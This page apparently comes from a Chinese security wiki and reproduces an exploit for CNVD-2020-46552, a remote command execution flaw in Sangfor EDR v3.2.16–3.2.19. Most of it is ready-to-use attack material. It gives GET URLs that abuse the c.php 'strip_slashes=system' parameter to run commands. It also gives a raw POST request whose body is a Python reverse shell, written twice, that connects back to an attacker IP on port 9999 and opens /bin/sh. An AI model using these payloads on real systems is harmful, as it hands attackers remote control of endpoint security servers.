menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 深信服 chevron_right 深信服EDR远程命令执行 CNVD-2020-46552.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    深信服EDR远程命令执行 CNVD-2020-46552.md
    1.61 KB / 2021-04-15 12:15:18
        # 深信服EDR远程命令执行 CNVD-2020-46552
    
    ## 漏洞描述
    
    深信服终端检测响应平台是深信服公司开发的一套EDR系统。攻击者利用该漏洞,可向目标服务器发送恶意构造的HTTP请求,从而获得目标服务器的权限,实现远程代码控制执行。
    
    ## 影响版本
    
    > [!NOTE]
    >
    > EDR v3.2.16
    >
    > EDR v3.2.17
    >
    > EDR v3.2.19
    
    ## 漏洞复现
    
    ```
    https://xxx.xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&limit=whoami
    https://xxx.xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&host=whoami
    https://xxx.xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&path=whoami
    https://xxx.xxx.xxx.xxx/tool/log/c.php?strip_slashes=system&row=whoami
    ```
    
    ![](./image/sxf-1.png)
    
    #### 反弹shell
    
    ```
    POST /tool/log/c.php HTTP/1.1
    Host: x.x.x.x
    Upgrade-Insecure-Requests: 1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Content-Type: application/x-www-form-urlencoded;charset=utf-8
    Accept-Language: zh-CN,zh;q=0.9
    Content-Length: 256
    
    strip_slashes=system&host=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    ```
    
    向 **/tool/log/c.php**  POST以下数据即可
    
    ```
    strip_slashes=system&host=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    ```
    
    
    
    links
    file_download